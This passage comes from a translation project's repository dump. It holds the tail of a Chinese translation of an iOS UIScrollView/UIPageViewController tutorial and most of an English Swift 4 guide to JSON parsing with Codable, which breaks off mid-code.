Attribute Inspector 中， __Transition Style__ 默认设为 __Page Curl__ ；改为 __Scroll__ 并将 __Page Spacing__ 设为 __8__ 。\n\n在 __Photo Comment View Controller__ 场景的 __Identity Inspector__ 中，指定 __Storyboard ID__ 为 __PhotoCommentViewController__ ，然后你可以在代码中引用它。\n\n打开 __PhotoCommentViewController.swift__ ，然后添加：\n\n```swift\npublic var photoIndex: Int!\n```\n\n它会引用即将显示的图像的编号，将会用在页面视图控制器中。\n\n使用 __iOS\\Source\\Cocoa Touch Class__ 模板创建一个新文件。将类命名为 __ManagePageViewController__ ，子类为 __UIPageViewController__ 。确认语言设为 __Swift__ 。点击 __Next__ 以备后用。\n\n打开 __ManagePageViewController.swift__ ，用下面的代码替换文件内容：\n\n```swift\nimport UIKit\n\nclass ManagePageViewController: UIPageViewController {\n  var photos = [\"photo1\", \"photo2\", \"photo3\", \"photo4\", \"photo5\"]\n  var currentIndex: Int!\n\n  override func viewDidLoad() {\n    super.viewDidLoad()\n\n    dataSource = self\n\n    // 1\n    if let viewController = viewPhotoCommentController(currentIndex ?? 0) {\n      let viewControllers = [viewController]\n      // 2\n      setViewControllers(\n        viewControllers,\n        direction: .Forward,\n        animated: false,\n        completion: nil\n      )\n    }\n  }\n\n  func viewPhotoCommentController(index: Int) -> PhotoCommentViewController? {\n    if let storyboard = storyboard,\n        page = storyboard.instantiateViewControllerWithIdentifier(\"PhotoCommentViewController\")\n        as? PhotoCommentViewController {\n      page.photoName = photos[index]\n      page.photoIndex = index\n      return page\n    }\n    return nil\n  }\n}\n```\n\n这段代码做了这两件微小的事情：\n\n1.  `viewPhotoCommentController(_:_)` 通过Storyboard创建了 `PhotoCommentViewController` 的一个实例。你将图像的名字作为参数传递，这样视图中显示的图片和前一屏中选中的会是同一张。\n2.  通过传入一个数组，包含刚创建的各个视图控制器，你完成了 `UIPageViewController` 的设置。\n\n你会发现Xcode报了一个错，提示 `delegate` 的值不能被设为 `self` 。这是因为现在 `ManagePageViewController` 还没有遵从 `UIPageViewControllerDataSource` 。在 __ManagePageViewController.swift__ 中， `ManagePageViewController` 定义外添加下面的代码：\n\n```swift\n//MARK: implementation of UIPageViewControllerDataSource\nextension ManagePageViewController: UIPageViewControllerDataSource {\n  // 1\n  func pageViewController(pageViewController: UIPageViewController,\n      viewControllerBeforeViewController viewController: UIViewController) -> UIViewController? {\n\n    if let viewController = viewController as? PhotoCommentViewController {\n      var index = viewController.photoIndex\n      guard index != NSNotFound && index != 0 else { return nil }\n      index = index - 1\n      return viewPhotoCommentController(index)\n    }\n    return nil\n  }\n\n  // 2\n  func pageViewController(pageViewController: UIPageViewController,\n      viewControllerAfterViewController viewController: UIViewController) -> UIViewController? {\n\n    if let viewController = viewController as? PhotoCommentViewController {\n      var index = viewController.photoIndex\n      guard index != NSNotFound else { return nil }\n      index = index + 1\n      guard index != photos.count else {return nil}\n      return viewPhotoCommentController(index)\n    }\n    return nil\n  }\n}\n```\n\n`UIPageViewControllerDataSource` 允许你在页面变化时提供内容。你提供了视图控制器的实例，实现向前和向后的分页。在这两者情况中， `photoIndex` 用来决定当前显示的图像（传给两个方法的  `viewController` 指示当前显示的视图控制器）。新的控制器根据 `photoIndex` 创建并返回。\n\n为了让分页视图生效，还需要做一些事情。首先，你将要修复应用流。回到 __Main.storyboard__ ，选择你刚新建的 __Page View Controller__ 视图。然后，在 __Identity Inspector__ 中，将类指定为 __ManagePageViewController__ 。删除你之前创建的 push 联线 __showPhotoPage__ 。按住 Control 将 __Scroll View Controller__ 中的 __Photo Cell__ 连接到 __Manage Page View Controller__ 场景下，选择 __Show__ 联线。在联线的 __Attributes Inspector__ 中，指定名称为 __showPhotoPage__ 。\n\n打开 __CollectionViewController.swift__ ，将 `prepareForSegue(_:sender:)` 的实现修改为：\n\n```swift\noverride func prepareForSegue(segue: UIStoryboardSegue, sender: AnyObject?) {\n  if let cell = sender as? UICollectionViewCell,\n      indexPath = collectionView?.indexPathForCell(cell),\n      managePageViewController = segue.destinationViewController as? ManagePageViewController {\n    managePageViewController.photos = photos\n    managePageViewController.currentIndex = indexPath.row\n  }\n}\n```\n\n编译并运行。\n\n![uiscrollview tutorial](http://www.raywenderlich.com/wp-content/uploads/2016/01/visit-3.gif)\n\n你现在可以通过水平滑动切换不同的详情视图。:]\n\n__显示PageControl指示__\n\n在这份 `UIScrollView` 教程的最后一节中，你将会为应用添加一个 `UIPageControl` 。\n\n`UIPageViewController` 可以自动提供一个 `UIPageControl` 。为了这样做，你的`UIPageViewController` 必须拥有一个 `UIPageViewControllerTransitionStyleScroll` 的过渡样式，而且你必须提供 `UIPageViewControllerDataSource` 两个特殊方法的实现（如果你还记得的话，你已经在 Storyboard 中将 __Transition Style__ 设为 __Scroll__ ）在 __ManagePageViewController.swift__ 中为 `UIPageViewControllerDataSource` 扩展添加这些方法：\n\n```swift\n// MARK: UIPageControl\nfunc presentationCountForPageViewController(pageViewController: UIPageViewController) -> Int {\n  return photos.count\n}\n\nfunc presentationIndexForPageViewController(pageViewController: UIPageViewController) -> Int {\n  return currentIndex ?? 0\n}\n```\n\n在第一个方法中，你指定了页面视图控制器中显示页面的编号。在第二个方法中，你告诉页面视图控制器初始应该选择哪个页面。\n\n在你实现了需要的代理方法之后，你可以更进一步地自定义 `UIAppearance` API 。在 __AppDelegate.swift__ ，将 `application(application: didFinishLaunchingWithOptions:)` 替换为：\n\n```swift\nfunc application(application: UIApplication,\n    didFinishLaunchingWithOptions launchOptions: [NSObject: AnyObject]?) -> Bool {\n\n  let pageControl = UIPageControl.appearance()\n  pageControl.pageIndicatorTintColor = UIColor.lightGrayColor()\n  pageControl.currentPageIndicatorTintColor = UIColor.redColor()\n  return true\n}\n```\n\n这段代码将会自定义 `UIPageControl` 的颜色。\n\n编译并运行。\n\n![](http://ww2.sinaimg.cn/large/005SiNxygw1f1yt10lpg3j308w0gegmz.jpg)![](http://www.raywenderlich.com/wp-content/uploads/2016/01/Screen-Shot-2016-01-11-at-9.44.24-PM.png)\n\n__拼接起来__\n\n马上就大功告成了！最后一步，让轻按图片的时候能返回缩放视图。打开 __PhotoCommentViewController.swift__ ，添加下面的代码：\n\n```swift\n@IBAction func openZoomingController(sender: AnyObject) {\n  self.performSegueWithIdentifier(\"zooming\", sender: nil)\n}\n\noverride public func prepareForSegue(segue: UIStoryboardSegue,\n    sender: AnyObject?) {\n  if let id = segue.identifier,\n      zoomedPhotoViewController = segue.destinationViewController as? ZoomedPhotoViewController {\n    if id == \"zooming\" {\n      zoomedPhotoViewController.photoName = photoName\n    }\n  }\n}\n```\n\n在 __Main.storyboard__ 中，添加一个从 __Photo Comment View Controller__ 到 __Zoomed Photo View Controller__ 的 __Show Detail__ 联线。选中这个联线后，打开 Identifier Inspector ，将 __Identifier__ 设为 __zooming__ 。\n\n选择 __Photo Comment View Controller__ 中的 __Image View__ ，打开 __Attributes Inspector__ ，选中 __User Interaction Enabled__ 。添加一个 __Tap Gesture Recognizer__ ，并连接到 `openZoomingController(_:)` 。\n\n现在，当你轻按 __Photo Comment View Controller Scene__ 中的一张图片时，你会被带到 __Zoomed Photo View Controller Scene__ ，然后可以缩放图像。\n\n编译，让我们运行起来看看最终的效果。\n\n![uiscrollview tutorial](http://www.raywenderlich.com/wp-content/uploads/2016/01/visit-4.gif)\n\n棒！大功告成！你创建了一个山寨的 Photos 应用：一个可以选择、滑动浏览的图像合辑，以及具有缩放图像的功能。\n\n## 接下来……\n\n这份教程中的 PhotoScroll 项目最终用到的所有代码都在[这里](http://www.raywenderlich.com/wp-content/uploads/2016/01/PhotoScroll_Final-1.zip)。\n\n你已经探索了许多滚动视图可以做的趣事。如果你想再进一步，这里有一个 21 个视频的集合，专门介绍滚动视图。[看一看吧](http://www.raywenderlich.com/video-tutorials#swiftscrollview)。\n\n接下来用这些酷炫的滚动视图技巧，做一些有趣的应用吧！\n\n如果你遇到了什么问题或者想要留下反馈，请在下面评论区中讨论。\n"
  },
  {
    "path": "TODO/ultimate-guide-to-json-parsing-with-swift-4.md",
    "content": "\n> * 原文地址：[Ultimate Guide to JSON Parsing With Swift 4](http://benscheirman.com/2017/06/ultimate-guide-to-json-parsing-with-swift-4/)\n> * 原文作者：[Ben Scheirman](http://benscheirman.com/about-me/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/ultimate-guide-to-json-parsing-with-swift-4.md](https://github.com/xitu/gold-miner/blob/master/TODO/ultimate-guide-to-json-parsing-with-swift-4.md)\n> * 译者：\n> * 校对者：\n\n# Ultimate Guide to JSON Parsing With Swift 4\n\n![](http://benpublic.s3.amazonaws.com/blog/swift-json/swift-json@2x.png)\n\n    This guide is now permalinked at **http://swiftjson.guide**\n\nSwift 4 and Foundation has finally answered the question of how to parse JSON with Swift.\n\nThere has been a number of great libraries for this, but it is quite refreshing to see a fully-supported solution that is easy to adopt but also provides the customization you need to encode and decode complex scenarios.\n\nIt’s worth noting that everything discussed here applies to any `Encoder`/`Decoder` implementation, including `PropertyListEncoder`, for instance. You can also create a custom implementations of these if you need something different like XML. The rest of this blog post will focus on JSON parsing because that is the most relevant to most iOS developers.\n\n## The Basics\n\nIf your JSON structure and objects have similar structure, then your work is really easy.\n\nHere’s an example JSON document for a beer:\n\n```\n{\n    \"name\": \"Endeavor\",\n    \"abv\": 8.9,\n    \"brewery\": \"Saint Arnold\",\n    \"style\": \"ipa\"\n}\n```\n\nOur Swift data structure could look like this:\n\n```\nenum BeerStyle : String {\n    case ipa\n    case stout\n    case kolsch\n    // ...\n}\n\nstruct Beer {\n    let name: String\n    let brewery: String\n    let style: BeerStyle\n}\n```\n\nTo convert this JSON string to a `Beer` instance, we’ll mark our types as `Codable`.\n\n`Codable` is actually a union type consisting of `Encodable & Decodable`, so if you only care about unidirectional conversion you can just adopt the appropriate protocol. This is a new feature of Swift 4.\n\n`Codable` comes with a default implementation, so for many cases you can just adopt this protocol and get useful default behavior **for free**.\n\n```\nenum BeerStyle : String, Codable {\n   // ...\n}\n\nstruct Beer : Codable {\n   // ...\n}\n```\n\nNext we just need to create a decoder:\n\n```\nlet jsonData = jsonString.data(encoding: .utf8)!\nlet decoder = JSONDecoder()\nlet beer = try! decoder.decode(Beer.self, for: jsonData)\n```\n\nAnd that’s it! We’ve parsed our JSON document into a beer instance. It didn’t require any customization since the key names and types matched each other.\n\nWorth noting here is that we’re using `try!` for the sake of an example, but in your app you should catch any errors and handle them intelligently. More on handling errors later on…\n\nSo in our contrived example things lined up perfectly. But what if the types don’t match up?\n\n## Customizing Key Names\n\nIt is often the case that API’s use snake-case for naming keys, and this style does not match the naming guidelines for Swift properties.\n\nTo customize this we need to peer into the default implementation of `Codable` for a second.\n\nKeys are handled automatically by a compiler-generated “`CodingKeys`” enumeration. This enum conforms to `CodingKey`, which defines how we can connect a property to a value in the encoded format.\n\nTo customize the keys we’ll have to write our own implementation of this. For the cases that diverge from the swift naming, we can provide a string value for the key:\n\n```\nstruct Beer : Codable {\n      // ...\n      enum CodingKeys : String, CodingKey {\n          case name\n          case abv = \"alcohol_by_volume\"\n          case brewery = \"brewery_name\"\n          case style\n    }\n}\n```\n\nIf we take our beer instance and try to encode it as JSON, we can see this new format in action:\n\n```\nlet encoder = JSONEncoder()\nlet data = try! encoder.encode(beer)\nprint(String(data: data, encoding: .utf8)!)\n```\n\nThis outputs:\n\n```\n{\"style\":\"ipa\",\"name\":\"Endeavor\",\"alcohol_by_volume\":8.8999996185302734,\"brewery_name\":\"Saint Arnold\"}\nThe formatting here isn’t very human-friendly. We can customize the output formatting of the `JSONEncoder` to make it a little nicer with the `outputFormatting` property.\n```\n\nThe formatting here isn’t very human-friendly. We can customize the output formatting of the JSONEncoder to make it a little nicer with the outputFormatting property.\n\nThe default value is `.compact`, which produces the output above. We can change it to `.prettyPrinted` to get more readable output.\n\n```\nencoder.outputFormatting = .prettyPrinted\n{\n  \"style\" : \"ipa\",\n  \"name\" : \"Endeavor\",\n  \"alcohol_by_volume\" : 8.8999996185302734,\n  \"brewery_name\" : \"Saint Arnold\"\n}\n```\n\n`JSONEncoder` and `JSONDecoder` both have more options for customizing their behavior. One of the more common requirements is customizing how dates are parsed.\n\n## Handling Dates\n\nJSON has no data type to represent dates, so these are serialized into some representation that the client and server have to agree on. Typically this is done with [ISO 8601](https://en.wikipedia.org/wiki/ISO_8601) date formatting and then serialized as a string.\n\n> Pro tip: [nsdateformatter.com](http://nsdateformatter.com) is a great place to snag the format string for various formats, including ISO 8601 format.\n\nOther formats might be the number of seconds (or milliseconds) since a reference date, which would be serialized as a Number in the JSON document.\n\nIn the past we’d have to handle this ourselves, providing perhaps a string field on our data type and then using our own `DateFormatter` instance to marshal dates from string values and vice-versa.\n\nWith the `JSONEncoder` and `JSONDecoder` this is all done for us. Check it out. By default, these will use `.deferToDate` as the style for handling dates, which looks like this:\n\n```\nstruct Foo : Encodable {\n    let date: Date\n}\n\nlet foo = Foo(date: Date())\ntry! encoder.encode(foo)\n{\n  \"date\" : 519751611.12542897\n}\n```\n\nWe can change this to `.iso8601` formatting:\n\n```\nencoder.dateEncodingStrategy = .iso8601\n{\n  \"date\" : \"2017-06-21T15:29:32Z\"\n}\n```\n\nThe other JSON date encoding strategies available are:\n\n- `.formatted(DateFormatter)`  – for when you have a non-standard date format string you need to support. Supply your own date formatter instance.\n- `.custom( (Date, Encoder) throws -> Void )` – for when you have something *really* custom, you can pass a block here that will encode the date into the provided encoder.\n- `.millisecondsSince1970` and `.secondsSince1970`, which aren’t very common in APIs. It is not really recommended to use a format like this as time zone information is completely absent from the encoded representation, which makes it easier for someone to make the wrong assumption.\n\nDecoding dates have essentially the same options, but for `.custom` it takes the shape of `.custom( (Decoder) throws -> Date )`, so we are given a decoder and we are responsible for hydrating that into a date from whatever might be in the decoder.\n\n## Handling Floats\n\nFloats and are another area where JSON doesn’t quite match up with Swift’s `Float` type. What happens if the server returns an invalid `“NaN”` as a string? What about positive or negative `Infinity`? These do not map to any specific values in Swift.\n\nThe default implementation is `.throw`, meaning if the decoder encounters these values then an error will be raised, but we can provide a mapping if we need to handle this:\n\n```\n{\n   \"a\": \"NaN\",\n   \"b\": \"+Infinity\",\n   \"c\": \"-Infinity\"\n}\nstruct Numbers : Decodable {\n  let a: Float\n  let b: Float\n  let c: Float\n}\ndecoder.nonConformingFloatDecodingStrategy =\n  .convertFromString(\n      positiveInfinity: \"+Infinity\",\n      negativeInfinity: \"-Infinity\",\n      nan: \"NaN\")\n\nlet numbers = try! decoder.decode(Numbers.self, from: jsonData)\ndump(numbers)\n```\n\nThis gives us:\n\n```\n▿ __lldb_expr_71.Numbers\n  - a: inf\n  - b: -inf\n  - c: nan\n```\n\nYou can do the reverse with `JSONEncoder`’s `nonConformingFloatEncodingStrategy` as well.\n\nThis is not likely something you’ll need in the majority case, but one day it might come in handy.\n\n## Handling Data\n\nSometimes you’ll find APIs that send small bits of data as base64 encoded strings.\n\nTo handle this automatically, you can give `JSONEncoder` one of these encoding strategies:\n\n- `.base64`\n- `.custom( (Data, Encoder) throws -> Void)`\n\nTo decode it, you can provide `JSONDecoder` with a decoding strategy:\n\n- `.base64`\n- `.custom( (Decoder) throws -> Data)`\n\nObviously `.base64` will be the common choice here, but if you need to do anything\ncustom you can use on of the block-based strategies.\n\n## Wrapper Keys\n\nOften times APIs will include wrapper key names so that the top level JSON entity is always an object.\n\nSomething like this:\n\n```\n{\n  \"beers\": [ {...} ]\n}\n```\n\nTo represent this in Swift, we can create a new type for this response:\n\n```\nstruct BeerList : Codable {\n    let beers: [Beer]\n}\n```\n\nThat’s actually it! Since our key name matches up and `Beer` is already `Codable` it just works.\n\n## Root Level Arrays\n\nIf the API is returning an array as the *root* element, parsing the response looks like this:\n\n```\nlet decoder = JSONDecoder()\nlet beers = try decoder.decode([Beer].self, from: data)\n\n```\n\nNote that we’re using the Array as the type here. `Array<T>` is decodable as long\nas `T` is decodable.\n\n## Dealing with Object Wrapping Keys\n\nHere’s another scenario you might run across: an array response where each object\nin the array is wrapped with a key.\n\n```\n[\n  {\n    \"beer\" : {\n      \"id\": \"uuid12459078214\",\n      \"name\": \"Endeavor\",\n      \"abv\": 8.9,\n      \"brewery\": \"Saint Arnold\",\n      \"style\": \"ipa\"\n    }\n  }\n]\n```\n\nYou could use the wrapping type approach above to capture this key, but an easier\napproach would be to recognize that this structure is already made of of strongly\ntyped decodable implemetations.\n\nDo you see it?\n\n```\n[[String:Beer]]\n```\n\nOr perhaps more readable in this case:\n\n```\nArray<Dictionary<String, Beer>>\n```\n\nJust like `Array<T>` is decodable, so is `Dictionary<K,T>` if both `K` and `T`\nare decodable.\n\n```\nlet decoder = JSONDecoder()\nlet beers = try decoder.decode([[String:Beer]].self, from: data)\ndump(beers)\n▿ 1 element\n  ▿ 1 key/value pair\n    ▿ (2 elements)\n      - key: \"beer\"\n      ▿ value: __lldb_expr_37.Beer\n        - name: \"Endeavor\"\n        - brewery: \"Saint Arnold\"\n        - abv: 8.89999962\n        - style: __lldb_expr_37.BeerStyle.ipa\n```\n\n## More Complex Nested Response\n\nSometimes our API responses aren’t that simple. Maybe at the top level it’s not\nsimply a key defining the objects in the response, but often times you’ll receive\nmultiple collections, or perhaps paging information.\n\nFor example:\n\n```\n{\n    \"meta\": {\n        \"page\": 1,\n        \"total_pages\": 4,\n        \"per_page\": 10,\n        \"total_records\": 38\n    },\n    \"breweries\": [\n        {\n            \"id\": 1234,\n            \"name\": \"Saint Arnold\"\n        },\n        {\n            \"id\": 52892,\n            \"name\": \"Buffalo Bayou\"\n        }\n    ]\n}\n```\n\nWe can actually nest types in Swift and have that structure present when we\nencode/decode json.\n\n```\nstruct PagedBreweries : Codable {\n    struct Meta : Codable {\n        let page: Int\n        let totalPages: Int\n        let perPage: Int\n        let totalRecords: Int\n        enum CodingKeys : String, CodingKey {\n            case page\n            case totalPages = \"total_pages\"\n            case perPage = \"per_page\"\n            case totalRecords = \"total_records\"\n        }\n    }\n\n    struct Brewery : Codable {\n        let id: Int\n        let name: String\n    }\n\n    let meta: Meta\n    let breweries: [Brewery]\n}\n```\n\nOne huge benefit of this approach is you can have variations of different responses\nfor the same type of object (perhaps in this case a `\"brewery\"` has only `id` and\n`name` in a list response like this, but has more attributes if you select the brewery\nby itself). Because the `Brewery` type here is nested, we can have a different `Brewery`\ntype elsewhere that decodes and encodes a different structure.\n\n## Deeper Customization\n\nSo far we’ve still relied on the default implementations of `Encodable` and `Decodable` to do the heavy lifting for us.\n\nThis will handle the majority of cases, but eventually you’ll have to drop down and do things yourself to have more control over how encoding and decoding happens.\n\n### Custom Encoding\n\nTo start, we’ll implement custom versions of what the compiler was giving us for free. We’ll start with encoding.\n\n```\nextension Beer {\n    func encode(to encoder: Encoder) throws {\n\n    }\n}\n```\n\nI also want to add a couple of new fields to our beer type, just to round out the example:\n\n```\nstruct Beer : Coding {\n    // ...\n    let createdAt: Date\n    let bottleSizes: [Float]\n    let comments: String?\n\n    enum CodingKeys: String, CodingKey {\n        // ...\n        case createdAt = \"created_at\",\n        case bottleSizes = \"bottle_sizes\"\n        case comments\n    }\n}\n```\n\nIn this method we need to take the encoder, get a “container” and encode values into it.\n\n### What is a container?\n\nA container can be one of a few different types:\n\n- **Keyed Container** – provides values by keys. This is essentially a dictionary.\n- **Unkeyed Container** – this provides ordered values without keys. In the JSONEncoder, this means an array.\n- **Single Value Container** – this outputs the raw value without any kind of containing element.\n\nIn order to encode any of our properties we’ll first need to get a container. Looking at the JSON structure we started with at the top of this post, it’s clear we need a *keyed* container:\n\n```\nvar container = encoder.container(keyedBy: CodingKeys.self)\n```\n\nTwo things to note here:\n\n- The container has to be a mutable property, since we’ll be writing to it, so the variable must be declared with `var`\n- We have to specify the keys (and thus the property/key mapping) so it knows what keys we can encode into this container\n\nThat latter point turns out to be super powerful, as we’ll see.\n\nNext we need to encode values into the container. Any of these calls might throw errors, so we’ll start each line with `try`:\n\n```\ntry container.encode(name, forKey: .name)\ntry container.encode(abv, forKey: .abv)\ntry container.encode(brewery, forKey: .brewery)\ntry container.encode(style, forKey: .style)\ntry container.encode(createdAt, forKey: .createdAt)\ntry container.encode(comments, forKey: .comments)\ntry container.encode(bottleSizes, forKey: .bottleSizes)\n```\n\nFor the comments field, the default implementation of `Encodable` uses `encodeIfPresent` on optional values. This means keys will be missing from the encoded representation if they are `nil`. This is generally not a great solution for APIs, so it is a best practice to include keys even if they have a null value. Here we force the output to include this key by using `encode(_:forKey:)` instead of `encodeIfPresent(_:forKey:)`.\n\nOur `bottleSizes` value was encoded automatically as well, but if we needed to customize this for some reason, we have to create our own container. Here we are processing each item (by rounding the float) and adding it to the container in order:\n\n```\nvar sizes = container.nestedUnkeyedContainer(\n      forKey: .bottleSizes)\n\ntry bottleSizes.forEach {\n      try sizes.encode($0.rounded())\n}\n```\n\nAnd we’re done! Note that nothing in here talks about float conforming strategies or date formatting. In fact, this method is entirely JSON agnostic, which is part of the design. Encoding and Decoding types is a generic feature, and the format is easily specified by interested parties.\n\nOur encoded JSON now looks like this:\n\n```\n{\n  \"comments\" : null,\n  \"style\" : \"ipa\",\n  \"brewery_name\" : \"Saint Arnold\",\n  \"created_at\" : \"2016-05-01T12:00:00Z\",\n  \"alcohol_by_volume\" : 8.8999996185302734,\n  \"bottle_sizes\" : [\n    12,\n    16\n  ],\n  \"name\" : \"Endeavor\"\n}\n```\n\n> Worth noting here is the floating point value that we started with in the original JSON document was 8.9, but due to the way floats are represented in memory, it is not the same number you passed in. If you require specific numeric precision, you might want to format this manually each time with a NumberFormatter. In particular, APIs that deal with currency often send the number of cents as an integer value (that can be rounded safely) and then you divide this by 100.0 to get the dollar value.\n\nNow we can do the reverse. Let’s write the implementation of the Decodable protocol requirement:\n\n### Custom Decoding\n\nDecoding essentially means writing another initializer.\n\n```\nextension Beer {\n    init(from decoder: Decoder) throws {\n\n    }\n}\n```\n\nAgain, we need to get a container from the decoder:\n\n```\nlet container = try decoder.container(keyedBy: CodingKeys.self)\n\n```\n\nWe can decode all of the basic properties. In each case we have to specify the type to expect. If the type does not match, a `DecodingError.TypeMismatch` will be throw and have information we can use to figure out what happened.\n\n```\nlet name = try container.decode(String.self, forKey: .name)\nlet abv = try container.decode(Float.self, forKey: .abv)\nlet brewery = try container.decode(String.self,\n      forKey: .brewery)\nlet style = try container.decode(BeerStyle.self,\n      forKey: .style)\nlet createdAt = try container.decode(Date.self,\n      forKey: .createdAt)\nlet comments = try container.decodeIfPresent(String.self,\n      forKey: .comments)\n```\n\nWe can use the same method for our `bottleSizes` array, but we can also process each value on the way in in a similar manner. Here we round values before storing them in the new instance:\n\n```\nvar bottleSizesArray = try container.nestedUnkeyedContainer(forKey: .bottleSizes)\nvar bottleSizes: [Float] = []\nwhile (!bottleSizesArray.isAtEnd) {\n    let size = try bottleSizesArray.decode(Float.self)\n    bottleSizes.append(size.rounded())\n}\n```\n\nWe’ll keep decoding values from the container until the container has no more elements.\n\nWith all of these variables now defined, we have all the answers to call our default initializer:\n\n```\nself.init(name: name,\n              brewery: brewery,\n              abv: abv,\n              style: style,\n              createdAt: createdAt,\n              bottleSizes: bottleSizes,\n              comments: comments)\n```\n\nWith custom implementations of `encode(to encoder:)` and `init(from decoder:)` we have much more control over how the resulting JSON maps to our types.\n\n## Flattening Objects\n\nLet’s say the JSON has a level of nesting that we don’t care about. Modifying the above example, let’s say `abv` and `style` are represented as such:\n\n```\n{\n   \"name\": \"Lawnmower\",\n   \"info\": {\n     \"style\": \"kolsch\",\n     \"abv\": 4.9\n   }\n   // ...\n}\n```\n\nTo work with this structure we’ll have to customize both the encoding and decoding implementations.\n\nWe’ll start by defining an enum for those nested keys (and removing them from the main `CodingKeys` enum:\n\n```\nstruct Beer : Codable {\n  enum CodingKeys: String, CodingKey {\n      case name\n      case brewery\n      case createdAt = \"created_at\"\n      case bottleSizes = \"bottle_sizes\"\n      case comments\n      case info // <-- NEW\n  }\n\n  case InfoCodingKeys: String, CodingKey {\n      case abv\n      case style\n  }\n}\n```\n\n\nWhen we’re encoding the value, we’ll need to first get a reference to the `info` container, (which if you recall is a *keyed* container).\n\n```\nfunc encode(to encoder: Encoder) throws {\n      var container = encoder.container(\n          keyedBy: CodingKeys.self)\n\n      var info = try encoder.nestedContainer(\n          keyedBy: InfoCodingKeys.self)\n      try info.encode(abv, forKey: .abv)\n      try info.encode(style, forKey: .style)\n\n    // ...\n```\n\nFor the decodable implementation, we can do the reverse:\n\n```\ninit(from decoder: Decoder) throws {\n    let container = try decoder.container(\n          keyedBy: CodingKeys.self)\n\n    let info = try decoder.nestedContainer(\n          keyedBy: InfoCodingKeys.self)\n    let abv = try info.decode(Float.self, forKey: .abv)\n    let style = try info.decode(BeerStyle.self,\n          forKey: .style)\n\n    // ...\n}\n```\n\nNow we can have a nested structure in the encoded format, but flatten that out in our object.\n\n## Creating Child Objects\n\nLet’s say that brewery is passed as a simple string instead, but we want to keep our separate `Brewery` type.\n\n```\n{\n  \"name\": \"Endeavor\",\n  \"brewery\": \"Saint Arnold\",\n  // ...\n}\n```\n\nIn this case, we again have to provide custom implementations of implementations of `encode(to encoder:)` and `init(from decoder:)`.\n\n```\nfunc encode(to encoder: Encoder) throws {\n      var container = encoder.container(keyedBy:\n          CodingKeys.self)\n\n      try encoder.encode(brewery.name, forKey: .brewery)\n\n      // ...     \n}\n\ninit(from decoder: Decoder) throws {\n      let container = try decoder.container(keyedBy:\n          CodingKeys.self)\n      let breweryName = try decoder.decode(String.self,\n          forKey: .brewery)\n      let brewery = Brewery(name: breweryName)\n\n    // ...\n}\n```\n\n## Inheritance\n\nLet’s say we have the following classes:\n\n```\nclass Person : Codable {\n    var name: String?\n}\n\nclass Employee : Person {\n    var employeeID: String?\n}\n```\n\nWe get the `Codable` conformance by inheriting from the `Person` class, but what happens if we try to encode an instance of `Employee`?\n\n```\nlet employee = Employee()\nemployee.employeeID = \"emp123\"\nemployee.name = \"Joe\"\n\nlet encoder = JSONEncoder()\nencoder.outputFormatting = .prettyPrinted\nlet data = try! encoder.encode(employee)\nprint(String(data: data, encoding: .utf8)!)\n{\n  \"name\" : \"Joe\"\n}\n```\n\nWell that’s not what we wanted. As it turns out the auto-generated implementation doesn’t quite work with subclasses. So we’ll have to customize the encode/decode methods again.\n\n```\nclass Person : Codable {\n    var name: String?\n\n    private enum CodingKeys : String, CodingKey {\n        case name\n    }\n\n    func encode(to encoder: Encoder) throws {\n        var container = encoder.container(keyedBy: CodingKeys.self)\n        try container.encode(name, forKey: .name)\n    }\n}\n```\n\nWe’ll do the same for the subclass:\n\n```\nclass Employee : Person {\n    var employeeID: String?\n\n    private enum CodingKeys : String, CodingKey {\n        case employeeID = \"emp_id\"\n    }\n\n    override func encode(to encoder: Encoder) throws {\n        var container = encoder.container(keyedBy: CodingKeys.self)\n        try container.encode(employeeID, forKey: .employeeID)\n    }\n}\n```\n\nThis gives us:\n\n```\n{\n  \"emp_id\" : \"emp123\"\n}\n```\n\nWell that’s not right either. We have to flow through to the super class implementation of `encode(to:)`.\n\nYou might be tempted to just call super and pass in the encoder. This *should* work, but as of the current snapshot this causes an `EXC_BAD_ACCESS`. I think this is a bug and will probably work in future snapshots.\n\nIf we did the above we’d get a merged set of attributes under the same container. However, the Swift team has this to say about re-using the same container for multiple types:\n\n> If a shared container is desired, it is still possible to call super.encode(to: encoder) and\n> super.init(from: decoder), but we recommend the safer containerized option.\n\nThe reason is that the superclass could overwrite values we’ve set and we wouldn’t know about it.\n\nInstead, we can use a special method to get a super-class ready encoder that already has a container attached to it:\n\n```\ntry super.encode(to: container.superEncoder())\n```\n\nWhich gives us:\n\n```\n{\n  \"super\" : {\n    \"name\" : \"Joe\"\n  },\n  \"emp_id\" : \"emp123\"\n}\n```\n\nThis produces the super-class encoding underneath this new key: `”super”`. We can customize this key name if we want:\n\n```\nenum CodingKeys : String, CodingKey {\n  case employeeID = \"emp_id\"\n  case person\n}\n\noverride func encode(to encoder: Encoder) throws {\n   // ...\n   try super.encode(to:\n      container.superEncoder(forKey: .person))\n}\n```\n\nWhich results in:\n\n```\n{\n  \"person\" : {\n    \"name\" : \"Joe\"\n  },\n  \"emp_id\" : \"emp123\"\n}\n```\n\nHaving access to common structure in a superclass can simplify JSON parsing and reduce code duplication in some cases.\n\n## UserInfo\n\nUser Info can be passed along during encoding and decoding if you need some custom data to be present in order to alter behavior or provide necessary context to objects during encoding or decoding.\n\nFor instance, let’s say we had a legacy v1 version of an API that produced this JSON for a customer:\n\n```\n{\n  \"customer_name\": \"Acme, Inc\",   // old key name\n  \"migration_date\": \"Oct-24-1995\", // different date format?\n  \"created_at\": \"1991-05-12T12:00:00Z\"\n}\n```\n\nHere we have a `migration_date` field that has a different date format than the `created_at` field. Let’s also assume that the name property has since been changed to just `name`.\n\nThis is obviously not an ideal situation, but real-life happens and sometimes you inherit a messy API.\n\nLet’s define a special user info struct that will hold some important values for us:\n\n```\nstruct CustomerCodingOptions {\n  enum ApiVersion {\n      case v1\n      case v2\n  }\n  let apiVersion = ApiVersion.v2\n  let legacyDateFormatter: DateFormatter\n\n  static let key = CodingUserInfoKey(rawValue: \"com.mycompany.customercodingoptions\")!\n}\n```\n\nWe can now create an instance of this struct and pass it to an encoder or decoder:\n\n```\nlet formatter = DateFormatter()\nformatter.dateFormat = \"MMM-dd-yyyy\"\nlet options = CustomerCodingOptions(apiVersion: .v1, legacyDateFormatter: formatter)\n\nencoder.userInfo = [ CustomerCodingOptions.key : options ]\n\n// ...\n```\n\nInside the encode method:\n\n```\nfunc encode(to encoder: Encoder) throws {\n    var container = encoder.container(keyedBy: CodingKeys.self)\n\n    // here we can require this be present...\n    if let options = 